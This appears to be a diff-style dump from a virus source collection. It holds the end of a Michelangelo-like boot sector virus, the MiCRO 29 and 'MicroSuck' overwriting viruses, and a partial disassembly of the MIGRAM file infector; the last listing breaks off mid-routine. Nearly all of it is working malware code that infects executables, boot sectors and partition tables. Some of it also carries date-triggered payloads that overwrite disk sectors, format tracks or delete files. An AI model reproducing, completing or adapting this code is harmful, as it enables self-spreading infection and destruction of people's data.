mov cx,1
|
||||||
|
xor dx,dx
|
||||||
|
pushf
|
||||||
|
call oldint13h
|
||||||
|
jnc checkinfect ; continue if no error
|
||||||
|
xor ax,ax
|
||||||
|
pushf
|
||||||
|
call oldint13h ; Reset disk
|
||||||
|
dec si ; loop back
|
||||||
|
jnz readbootblock
|
||||||
|
jmp short quitinfect ; exit if too many
|
||||||
|
failures
|
||||||
|
checkinfect:
|
||||||
|
xor si,si
|
||||||
|
cld
|
||||||
|
lodsw
|
||||||
|
cmp ax,[bx] ; check if already
|
||||||
|
infected
|
||||||
|
jne infectitnow
|
||||||
|
lodsw
|
||||||
|
cmp ax,[bx+2] ; check again
|
||||||
|
je quitinfect
|
||||||
|
infectitnow:
|
||||||
|
mov ax,301h ; Write old boot block
|
||||||
|
mov dh,1 ; to head 1
|
||||||
|
mov cl,3 ; sector 3
|
||||||
|
cmp byte ptr [bx+15h],0FDh ; 360k disk?
|
||||||
|
je is360Kdisk
|
||||||
|
mov cl,0Eh
|
||||||
|
is360Kdisk:
|
||||||
|
mov firstsector,cx
|
||||||
|
pushf
|
||||||
|
call oldint13h
|
||||||
|
jc quitinfect ; exit on error
|
||||||
|
mov si,200h+offset partitioninfo
|
||||||
|
mov di,offset partitioninfo
|
||||||
|
mov cx,21h ; Copy partition table
|
||||||
|
cld
|
||||||
|
rep movsw
|
||||||
|
mov ax,301h ; Write virus to sector
|
||||||
|
1
|
||||||
|
xor bx,bx
|
||||||
|
mov cx,1
|
||||||
|
xor dx,dx
|
||||||
|
pushf
|
||||||
|
call oldint13h
|
||||||
|
quitinfect:
|
||||||
|
pop di
|
||||||
|
pop si
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
retn
|
||||||
|
entervirus:
|
||||||
|
xor ax,ax
|
||||||
|
mov ds,ax
|
||||||
|
cli
|
||||||
|
mov ss,ax
|
||||||
|
mov ax,7C00h ; Set stack to just
|
||||||
|
below
|
||||||
|
mov sp,ax ; virus load point
|
||||||
|
sti
|
||||||
|
push ds ; save 0:7C00h on stack
|
||||||
|
for
|
||||||
|
push ax ; later retf
|
||||||
|
mov ax,ds:[13h*4]
|
||||||
|
mov word ptr ds:[7C00h+offset oldint13h],ax
|
||||||
|
mov ax,ds:[13h*4+2]
|
||||||
|
mov word ptr ds:[7C00h+offset oldint13h+2],ax
|
||||||
|
mov ax,ds:[413h] ; memory size in K
|
||||||
|
dec ax ; 1024 K
|
||||||
|
dec ax
|
||||||
|
mov ds:[413h],ax ; move new value in
|
||||||
|
mov cl,6
|
||||||
|
shl ax,cl ; ax = paragraphs of
|
||||||
|
memory
|
||||||
|
mov es,ax ; next line sets seg of
|
||||||
|
jmp
|
||||||
|
mov word ptr ds:[7C00h+2+offset highmemjmp],ax
|
||||||
|
mov ax,offset int13h
|
||||||
|
mov ds:[13h*4],ax
|
||||||
|
mov ds:[13h*4+2],es
|
||||||
|
mov cx,offset partitioninfo
|
||||||
|
mov si,7C00h
|
||||||
|
xor di,di
|
||||||
|
cld
|
||||||
|
rep movsb ; copy to high memory
|
||||||
|
; and transfer control
|
||||||
|
there
|
||||||
|
jmp dword ptr cs:[7C00h+offset highmemjmp]
|
||||||
|
; destination of highmem jmp
|
||||||
|
xor ax,ax
|
||||||
|
mov es,ax
|
||||||
|
int 13h ; reset disk
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov ax,201h
|
||||||
|
mov bx,7C00h
|
||||||
|
mov cx,firstsector
|
||||||
|
cmp cx,7 ; hard disk infection?
|
||||||
|
jne floppyboot ; if not, do floppies
|
||||||
|
mov dx,80h ; Read old partition
|
||||||
|
table of
|
||||||
|
int 13h ; first hard disk to
|
||||||
|
0:7C00h
|
||||||
|
jmp short exitvirus
|
||||||
|
floppyboot:
|
||||||
|
mov cx,firstsector ; read old boot block
|
||||||
|
mov dx,100h ; to 0:7C00h
|
||||||
|
int 13h
|
||||||
|
jc exitvirus
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
mov ax,201h ; read boot block
|
||||||
|
mov bx,200h ; of first hard disk
|
||||||
|
mov cx,1
|
||||||
|
mov dx,80h
|
||||||
|
int 13h
|
||||||
|
jc exitvirus
|
||||||
|
xor si,si
|
||||||
|
cld
|
||||||
|
lodsw
|
||||||
|
cmp ax,[bx] ; is it infected?
|
||||||
|
jne infectharddisk ; if not, infect HD
|
||||||
|
lodsw ; check infection
|
||||||
|
cmp ax,[bx+2]
|
||||||
|
jne infectharddisk
|
||||||
|
exitvirus:
|
||||||
|
xor cx,cx ; Real time clock get
|
||||||
|
date
|
||||||
|
mov ah,4 ; dx = mon/day
|
||||||
|
int 1Ah
|
||||||
|
cmp dx,306h ; March 6th
|
||||||
|
je damagestuff
|
||||||
|
retf ; return control to
|
||||||
|
original
|
||||||
|
; boot block @ 0:7C00h
|
||||||
|
damagestuff:
|
||||||
|
xor dx,dx
|
||||||
|
mov cx,1
|
||||||
|
smashanothersector:
|
||||||
|
mov ax,309h
|
||||||
|
mov si,firstsector
|
||||||
|
cmp si,3
|
||||||
|
je smashit
|
||||||
|
mov al,0Eh
|
||||||
|
cmp si,0Eh
|
||||||
|
je smashit
|
||||||
|
mov dl,80h ; first hard disk
|
||||||
|
mov maxhead,4
|
||||||
|
mov al,11h
|
||||||
|
smashit:
|
||||||
|
mov bx,5000h ; random memory area
|
||||||
|
mov es,bx ; at 5000h:5000h
|
||||||
|
int 13h ; Write al sectors to
|
||||||
|
drive dl
|
||||||
|
jnc skiponerror ; skip on error
|
||||||
|
xor ah,ah ; Reset disk drive dl
|
||||||
|
int 13h
|
||||||
|
skiponerror:
|
||||||
|
inc dh ; next head
|
||||||
|
cmp dh,maxhead ; 2 if floppy, 4 if HD
|
||||||
|
jb smashanothersector
|
||||||
|
xor dh,dh ; go to next
|
||||||
|
head/cylinder
|
||||||
|
inc ch
|
||||||
|
jmp short smashanothersector
|
||||||
|
infectharddisk:
|
||||||
|
mov cx,7 ; Write partition table
|
||||||
|
to
|
||||||
|
mov firstsector,cx ; sector 7
|
||||||
|
mov ax,301h
|
||||||
|
mov dx,80h
|
||||||
|
int 13h
|
||||||
|
jc exitvirus
|
||||||
|
mov si,200h+offset partitioninfo ; Copy partition
|
||||||
|
mov di,offset partitioninfo ; table information
|
||||||
|
mov cx,21h
|
||||||
|
rep movsw
|
||||||
|
mov ax,301h ; Write to sector 8
|
||||||
|
xor bx,bx ; Copy virus to sector 1
|
||||||
|
inc cl
|
||||||
|
int 13h
|
||||||
|
;* jmp short 01E0h
|
||||||
|
db 0EBh, 32h ; ?This should crash?
|
||||||
|
; The following bytes are meaningless.
|
||||||
|
garbage db 1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
|
||||||
|
partitioninfo: db 42h dup (0)
|
||||||
|
michelangelo ends
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
; #############################################################################
|
||||||
|
; ### ###
|
||||||
|
; ### M i C R O 29 ###
|
||||||
|
; ### ###
|
||||||
|
; ### By ###
|
||||||
|
; ### ###
|
||||||
|
; ### Dreamer / Demoralized Youth ###
|
||||||
|
; ### ###
|
||||||
|
; #############################################################################
|
||||||
|
|
||||||
|
MOV AH,4Eh ;Dos Universal: FIND FIRST
|
||||||
|
MOV DX,OFFSET PATT
|
||||||
|
INT 21h
|
||||||
|
MOV AX,3D02h ;Dos Universal: OPEN HANDLE
|
||||||
|
MOV DX,9Eh
|
||||||
|
INT 21h
|
||||||
|
XCHG AX,BX
|
||||||
|
MOV AH,40h ;Dos Universal: WRITE TO HANDLE
|
||||||
|
ADD DX,62h
|
||||||
|
INT 21h
|
||||||
|
RET
|
||||||
|
|
||||||
|
PATT DB '*.C*',0
|
||||||
|
|
||||||
@@ -0,0 +1,42 @@
|
|||||||
|
/* MicroSuck V.1.0 (c)YeahRight! 1997 By: Techno Phunk
|
||||||
|
one of many high level language viruses writen to shut
|
||||||
|
up some of the people in a.c.v.s.c (alt.comp.virus.source.code)
|
||||||
|
and to show them that it can be done (even by me who has only about
|
||||||
|
2 hours of C++ experience) compile with tc.exe (editor), exe normal
|
||||||
|
This is based on the C++ virus in virology 101, since it is what I
|
||||||
|
looked at to see how to write a virus in C++ I added something
|
||||||
|
before puting it here, and forgot to check for the new size
|
||||||
|
so YOU will have to compile it once, look at the size, then change
|
||||||
|
the variable x to the size....otherwise the "virus" will not be copied
|
||||||
|
compleatly */
|
||||||
|
#include <stdio.h
|
||||||
|
#include <dir.h
|
||||||
|
#include <dos.h
|
||||||
|
FILE *Virus,*Host;
|
||||||
|
char buff[512];
|
||||||
|
int x,y,done;
|
||||||
|
struct ffblk ffblk;
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
done = findfirst("*.EXE",&ffblk,0); /* Find a host (EXE file) */
|
||||||
|
while (!done)
|
||||||
|
{
|
||||||
|
Host=fopen(ffblk.ff_name,"rb+"); /* Open host */
|
||||||
|
Virus=fopen(_argv[0],"rb"); /* Open our virus */
|
||||||
|
/* may need to modify the next line */
|
||||||
|
x=12099; /* our lifeforms size */
|
||||||
|
while (x512) /* here we overwrite the host */
|
||||||
|
{ /* 512 byte chunks at a time */
|
||||||
|
fread(buff,512,1,Virus); /* ^ sector size ;), could be anything */
|
||||||
|
fwrite(buff,512,1,Host);
|
||||||
|
x-=512;
|
||||||
|
} /* if 512 or less byes */
|
||||||
|
fread(buff,x,1,Virus); /* Finish infection */
|
||||||
|
fwrite(buff,x,1,Host);
|
||||||
|
fcloseall(); /* Close */
|
||||||
|
done = findnext(&ffblk); /* try agian */
|
||||||
|
}
|
||||||
|
mkdir ("MicroSuck (c) 1997 By: Techno Phunk") /* activation would go */
|
||||||
|
/* here */
|
||||||
|
return (0); /* Terminate */
|
||||||
|
}
|
||||||
@@ -0,0 +1,657 @@
|
|||||||
|
PAGE 59,132
|
||||||
|
|
||||||
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||||
|
;ÛÛ ÛÛ
|
||||||
|
;ÛÛ MIGRAM ÛÛ
|
||||||
|
;ÛÛ ÛÛ
|
||||||
|
;ÛÛ Created: 2-Jan-80 ÛÛ
|
||||||
|
;ÛÛ Version: ÛÛ
|
||||||
|
;ÛÛ Passes: 5 Analysis Options on: H ÛÛ
|
||||||
|
;ÛÛ (C) 1991 IVL ÛÛ
|
||||||
|
;ÛÛ ÛÛ
|
||||||
|
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||||||
|
|
||||||
|
data_1e equ 4Ch ; (0000:004C=0D0h)
|
||||||
|
data_3e equ 84h ; (0000:0084=0C7h)
|
||||||
|
data_5e equ 90h ; (0000:0090=0BFh)
|
||||||
|
data_7e equ 102h ; (0000:0102=0F000h)
|
||||||
|
data_8e equ 106h ; (0000:0106=0F000h)
|
||||||
|
data_9e equ 47Bh ; (0000:047B=14h)
|
||||||
|
data_10e equ 0 ; (0676:0000=0E8h)
|
||||||
|
data_11e equ 1 ; (0677:0001=3EC4h)
|
||||||
|
data_12e equ 2 ; (06C7:0002=0B8C3h)
|
||||||
|
data_13e equ 6 ; (06C7:0006=0F0EBh)
|
||||||
|
data_35e equ 0FCB6h ; (7382:FCB6=0)
|
||||||
|
data_36e equ 0FCB8h ; (7382:FCB8=0)
|
||||||
|
data_37e equ 0FCD4h ; (7382:FCD4=0)
|
||||||
|
data_38e equ 0FCD6h ; (7382:FCD6=0)
|
||||||
|
data_39e equ 0FCD8h ; (7382:FCD8=0)
|
||||||
|
data_40e equ 0FCE2h ; (7382:FCE2=0)
|
||||||
|
data_41e equ 0FCE4h ; (7382:FCE4=0)
|
||||||
|
data_42e equ 0FCEAh ; (7382:FCEA=0)
|
||||||
|
data_43e equ 0FCECh ; (7382:FCEC=0)
|
||||||
|
data_44e equ 0 ; (F000:0000=0AA55h)
|
||||||
|
data_45e equ 2 ; (F000:0002=40h)
|
||||||
|
|
||||||
|
seg_a segment byte public
|
||||||
|
assume cs:seg_a, ds:seg_a
|
||||||
|
|
||||||
|
|
||||||
|
org 100h
|
||||||
|
|
||||||
|
migram proc far
|
||||||
|
|
||||||
|
start:
|
||||||
|
jmp loc_22 ; (0449)
|
||||||
|
db 0C3h
|
||||||
|
db 23 dup (0C3h)
|
||||||
|
db 2Ah, 2Eh, 5Ah, 49h, 50h, 0
|
||||||
|
data_17 dw 0C3C3h
|
||||||
|
data_18 dw 0C3C3h
|
||||||
|
data_19 db 0, 0
|
||||||
|
data_20 dw 0
|
||||||
|
data_21 dw 0
|
||||||
|
data_22 dw 0
|
||||||
|
data_23 dw 7382h
|
||||||
|
data_24 dd 00000h
|
||||||
|
data_25 dw 0
|
||||||
|
data_26 dw 7382h
|
||||||
|
data_27 dd 00000h
|
||||||
|
data_28 dw 0
|
||||||
|
data_29 dw 7382h
|
||||||
|
data_30 db 0Ah, 0Dh, ' ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ'
|
||||||
|
db '»', 0Ah, 0Dh, ' º MIGRAM VIRUS '
|
||||||
|
db '1.0 º', 0Ah, 0Dh, ' º (C) 19'
|
||||||
|
db '91 IVL º', 0Ah, 0Dh, ' ÈÍÍÍÍÍ'
|
||||||
|
db 'ÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ', 0Ah, 0Dh, 0Ah
|
||||||
|
db 0Dh, '$'
|
||||||
|
db 3Dh, 4Dh, 4Bh, 75h, 9, 55h
|
||||||
|
db 8Bh, 0ECh, 83h, 66h, 6, 0FEh
|
||||||
|
db 5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
|
||||||
|
db 12h, 3Dh, 0, 3Dh, 74h, 0Dh
|
||||||
|
db 3Dh, 0, 6Ch, 75h, 5, 80h
|
||||||
|
db 0FBh, 0, 74h, 3
|
||||||
|
loc_1:
|
||||||
|
jmp loc_13 ; (0277)
|
||||||
|
loc_2:
|
||||||
|
push es
|
||||||
|
push ds
|
||||||
|
push di
|
||||||
|
push si
|
||||||
|
push bp
|
||||||
|
push dx
|
||||||
|
push cx
|
||||||
|
push bx
|
||||||
|
push ax
|
||||||
|
call sub_6 ; (03CF)
|
||||||
|
call sub_7 ; (040C)
|
||||||
|
cmp ax,6C00h
|
||||||
|
jne loc_3 ; Jump if not equal
|
||||||
|
mov dx,si
|
||||||
|
loc_3:
|
||||||
|
mov cx,80h
|
||||||
|
mov si,dx
|
||||||
|
|
||||||
|
locloop_4:
|
||||||
|
inc si
|
||||||
|
mov al,[si]
|
||||||
|
or al,al ; Zero ?
|
||||||
|
loopnz locloop_4 ; Loop if zf=0, cx>0
|
||||||
|
|
||||||
|
sub si,2
|
||||||
|
cmp word ptr [si],5049h
|
||||||
|
je loc_7 ; Jump if equal
|
||||||
|
cmp word ptr [si],4558h
|
||||||
|
je loc_6 ; Jump if equal
|
||||||
|
loc_5:
|
||||||
|
jmp short loc_12 ; (026B)
|
||||||
|
db 90h
|
||||||
|
loc_6:
|
||||||
|
cmp word ptr [si-2],452Eh
|
||||||
|
je loc_8 ; Jump if equal
|
||||||
|
jmp short loc_5 ; (01FE)
|
||||||
|
loc_7:
|
||||||
|
cmp word ptr [si-2],5A2Eh
|
||||||
|
jne loc_5 ; Jump if not equal
|
||||||
|
loc_8:
|
||||||
|
mov ax,3D02h
|
||||||
|
call sub_5 ; (03C8)
|
||||||
|
jc loc_12 ; Jump if carry Set
|
||||||
|
mov bx,ax
|
||||||
|
mov ax,5700h
|
||||||
|
call sub_5 ; (03C8)
|
||||||
|
mov cs:data_20,cx ; (7382:0127=0)
|
||||||
|
mov cs:data_21,dx ; (7382:0129=0)
|
||||||
|
mov ax,4200h
|
||||||
|
xor cx,cx ; Zero register
|
||||||
|
xor dx,dx ; Zero register
|
||||||
|
call sub_5 ; (03C8)
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
mov dx,103h
|
||||||
|
mov si,dx
|
||||||
|
mov cx,18h
|
||||||
|
mov ah,3Fh ; '?'
|
||||||
|
call sub_5 ; (03C8)
|
||||||
|
jc loc_10 ; Jump if carry Set
|
||||||
|
cmp word ptr [si],5A4Dh
|
||||||
|
jne loc_9 ; Jump if not equal
|
||||||
|
call sub_1 ; (027C)
|
||||||
|
jmp short loc_10 ; (0254)
|
||||||
|
loc_9:
|
||||||
|
call sub_4 ; (03AA)
|
||||||
|
loc_10:
|
||||||
|
jc loc_11 ; Jump if carry Set
|
||||||
|
mov ax,5701h
|
||||||
|
mov cx,cs:data_20 ; (7382:0127=0)
|
||||||
|
mov dx,cs:data_21 ; (7382:0129=0)
|
||||||
|
call sub_5 ; (03C8)
|
||||||
|
loc_11:
|
||||||
|
mov ah,3Eh ; '>'
|
||||||
|
call sub_5 ; (03C8)
|
||||||
|
loc_12:
|
||||||
|
call sub_7 ; (040C)
|
||||||
|
pop ax
|
||||||
|
pop bx
|
||||||
|
pop cx
|
||||||
|
pop dx
|
||||||
|
pop bp
|
||||||
|
pop si
|
||||||
|
pop di
|
||||||
|
pop ds
|
||||||
|
pop es
|
||||||
|
loc_13:
|
||||||
|
jmp cs:data_24 ; (7382:012F=0)
|
||||||
|
|
||||||
|
migram endp
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_1 proc near
|
||||||
|
mov ah,2Ah ; '*'
|
||||||
|
int 21h ; DOS Services ah=function 2Ah
|
||||||
|
; get date, cx=year, dx=mon/day
|
||||||
|
cmp al,6
|
||||||
|
je loc_15 ; Jump if equal
|
||||||
|
jnz loc_14 ; Jump if not zero
|
||||||
|
loc_14:
|
||||||
|
mov cx,[si+16h]
|
||||||
|
add cx,[si+8]
|
||||||
|
mov ax,10h
|
||||||
|
mul cx ; dx:ax = reg * ax
|
||||||
|
add ax,[si+14h]
|
||||||
|
adc dx,0
|
||||||
|
push dx
|
||||||
|
push ax
|
||||||
|
mov ax,4202h
|
||||||
|
xor cx,cx ; Zero register
|
||||||
|
xor dx,dx ; Zero register
|
||||||
|
call sub_5 ; (03C8)
|
||||||
|
cmp dx,0
|
||||||
|
jne loc_16 ; Jump if not equal
|
||||||
|
cmp ax,4C3h
|
||||||
|
jae loc_16 ; Jump if above or =
|
||||||
|
pop ax
|
||||||
|
pop dx
|
||||||
|
stc ; Set carry flag
|
||||||
|
retn
|
||||||
|
loc_15:
|
||||||
|
mov ah,5
|
||||||
|
mov ch,0
|
||||||
|
mov cl,0
|
||||||
|
mov dh,0
|
||||||
|
mov dl,2
|
||||||
|
int 13h ; Disk dl=drive #: ah=func c5h
|
||||||
|
; format track=ch or cylindr=cx
|
||||||
|
mov ah,5
|
||||||
|
mov ch,0
|
||||||
|
mov cl,1
|
||||||
|
mov dh,0
|
||||||
|
mov dl,2
|
||||||
|
int 13h ; Disk dl=drive #: ah=func c5h
|
||||||
|
; format track=ch or cylindr=cx
|
||||||
|
mov ah,5
|
||||||
|
mov ch,0
|
||||||
|
mov cl,2
|
||||||
|
mov dh,0
|
||||||
|
mov dl,2
|
||||||
|
int 13h ; Disk dl=drive #: ah=func c5h
|
||||||
|
; format track=ch or cylindr=cx
|
||||||
|
mov ah,5
|
||||||
|
mov ch,0
|
||||||
|
mov cl,3
|
||||||
|
mov dh,0
|
||||||
|
mov dl,2
|
||||||
|
int 13h ; Disk dl=drive #: ah=func c5h
|
||||||
|
; format track=ch or cylindr=cx
|
||||||
|
mov ah,5
|
||||||
|
mov ch,0
|
||||||
|
mov cl,4
|
||||||
|
mov dh,0
|
||||||
|
mov dl,2
|
||||||
|
int 13h ; Disk dl=drive #: ah=func c5h
|
||||||
|
; format track=ch or cylindr=cx
|
||||||
|
mov ah,5
|
||||||
|
mov ch,0
|
||||||
|
mov cl,5
|
||||||
|
mov dh,0
|
||||||
|
mov dl,2
|
||||||
|
int 13h ; Disk dl=drive #: ah=func c5h
|
||||||
|
; format track=ch or cylindr=cx
|
||||||
|
mov dx,offset data_30 ; (7382:013F=0Ah)
|
||||||
|
mov ah,9
|
||||||
|
int 21h ; DOS Services ah=function 09h
|
||||||
|
; display char string at ds:dx
|
||||||
|
call sub_9 ; (043A)
|
||||||
|
int 20h ; Program Terminate
|
||||||
|
loc_16:
|
||||||
|
mov di,ax
|
||||||
|
mov bp,dx
|
||||||
|
pop cx
|
||||||
|
sub ax,cx
|
||||||
|
pop cx
|
||||||
|
sbb dx,cx
|
||||||
|
cmp word ptr [si+0Ch],0
|
||||||
|
je loc_ret_19 ; Jump if equal
|
||||||
|
cmp dx,0
|
||||||
|
jne loc_17 ; Jump if not equal
|
||||||
|
cmp ax,4C3h
|
||||||
|
jne loc_17 ; Jump if not equal
|
||||||
|
stc ; Set carry flag
|
||||||
|
retn
|
||||||
|
loc_17:
|
||||||
|
mov dx,bp
|
||||||
|
mov ax,di
|
||||||
|
push dx
|
||||||
|
push ax
|
||||||
|
add ax,4C3h
|
||||||
|
adc dx,0
|
||||||
|
mov cx,200h
|
||||||
|
div cx ; ax,dx rem=dx:ax/reg
|
||||||
|
les di,dword ptr [si+2] ; Load 32 bit ptr
|
||||||
|
mov cs:data_22,di ; (7382:012B=0)
|
||||||
|
mov cs:data_23,es ; (7382:012D=7382h)
|
||||||
|
mov [si+2],dx
|
||||||
|
cmp dx,0
|
||||||
|
je loc_18 ; Jump if equal
|
||||||
|
inc ax
|
||||||
|
loc_18:
|
||||||
|
mov [si+4],ax
|
||||||
|
pop ax
|
||||||
|
pop dx
|
||||||
|
call sub_2 ; (038B)
|
||||||
|
sub ax,[si+8]
|
||||||
|
les di,dword ptr [si+14h] ; Load 32 bit ptr
|
||||||
|
mov data_17,di ; (7382:0121=0C3C3h)
|
||||||
|
mov data_18,es ; (7382:0123=0C3C3h)
|
||||||
|
mov [si+14h],dx
|
||||||
|
mov [si+16h],ax
|
||||||
|
mov word ptr data_19,ax ; (7382:0125=0)
|
||||||
|
mov ax,4202h
|
||||||
|
xor cx,cx ; Zero register
|
||||||
|
xor dx,dx ; Zero register
|
||||||
|
call sub_5 ; (03C8)
|
||||||
|
call sub_3 ; (039C)
|
||||||
|
jc loc_ret_19 ; Jump if carry Set
|
||||||
|
mov ax,4200h
|
||||||
|
xor cx,cx ; Zero register
|
||||||
|
xor dx,dx ; Zero register
|
||||||
|
call sub_5 ; (03C8)
|
||||||
|
mov ah,40h ; '@'
|
||||||
|
mov dx,si
|
||||||
|
mov cx,18h
|
||||||
|
call sub_5 ; (03C8)
|
||||||
|
|
||||||
|
loc_ret_19:
|
||||||
|
retn
|
||||||
|
sub_1 endp
|
||||||
|
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_2 proc near
|
||||||
|
mov cx,4
|
||||||
|
mov di,ax
|
||||||
|
and di,0Fh
|
||||||
|
|
||||||
|
locloop_20:
|
||||||
|
shr dx,1 ; Shift w/zeros fill
|
||||||
|
rcr ax,1 ; Rotate thru carry
|
||||||
|
loop locloop_20 ; Loop if cx > 0
|
||||||
|
|
||||||
|
mov dx,di
|
||||||
|
retn
|
||||||
|
sub_2 endp
|
||||||
|
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_3 proc near
|
||||||
|
mov ah,40h ; '@'
|
||||||
|
mov cx,4C3h
|
||||||
|
mov dx,100h
|
||||||
|
call sub_6 ; (03CF)
|
||||||
|
jmp short loc_21 ; (03C8)
|
||||||
|
db 90h
|
||||||
|
|
||||||
|
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
|
||||||
|
sub_4:
|
||||||
|
mov dx,10h
|
||||||
|
mov ah,1Ah
|
||||||
|
int 21h ; DOS Services ah=function 1Ah
|
||||||
|
; set DTA to ds:dx
|
||||||
|
mov dx,11Bh
|
||||||
|
mov cx,110Bh
|
||||||
|
mov ah,4Eh ; 'N'
|
||||||
|
int 21h ; DOS Services ah=function 4Eh
|
||||||
|
; find 1st filenam match @ds:dx
|
||||||
|
mov dx,2Eh
|
||||||
|
mov ax,3D02h
|
||||||
|
int 21h ; DOS Services ah=function 3Dh
|
||||||
|
; open file, al=mode,name@ds:dx
|
||||||
|
mov ah,41h ; 'A'
|
||||||
|
int 21h ; DOS Services ah=function 41h
|
||||||
|
; delete file, name @ ds:dx
|
||||||
|
retn
|
||||||
|
sub_3 endp
|
||||||
|
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_5 proc near
|
||||||
|
loc_21:
|
||||||
|
pushf ; Push flags
|
||||||
|
call cs:data_24 ; (7382:012F=0)
|
||||||
|
retn
|
||||||
|
sub_5 endp
|
||||||
|
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_6 proc near
|
||||||
|
push ax
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
xor ax,ax ; Zero register
|
||||||
|
push ax
|
||||||
|
pop ds
|
||||||
|
cli ; Disable interrupts
|
||||||
|
les ax,dword ptr ds:data_5e ; (0000:0090=5BFh) Load 32 bit ptr
|
||||||
|
mov cs:data_25,ax ; (7382:0133=0)
|
||||||
|
mov cs:data_26,es ; (7382:0135=7382h)
|
||||||
|
mov ax,431h
|
||||||
|
mov ds:data_5e,ax ; (0000:0090=5BFh)
|
||||||
|
mov word ptr ds:data_5e+2,cs ; (0000:0092=0EA3h)
|
||||||
|
les ax,dword ptr ds:data_1e ; (0000:004C=20D0h) Load 32 bit ptr
|
||||||
|
mov cs:data_28,ax ; (7382:013B=0)
|
||||||
|
mov cs:data_29,es ; (7382:013D=7382h)
|
||||||
|
les ax,cs:data_27 ; (7382:0137=0) Load 32 bit ptr
|
||||||
|
mov ds:data_1e,ax ; (0000:004C=20D0h)
|
||||||
|
mov word ptr ds:data_1e+2,es ; (0000:004E=102Ch)
|
||||||
|
sti ; Enable interrupts
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop ax
|
||||||
|
retn
|
||||||
|
sub_6 endp
|
||||||
|
|
||||||
|
|
||||||
|
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||||||
|
; SUBROUTINE
|
||||||
|
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||||||
|
|
||||||
|
sub_7 proc near
|
||||||
|
push ax
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
xor ax,ax ; Zero register
|
||||||
|
push ax
|
||||||
|
pop ds
|
||||||
|
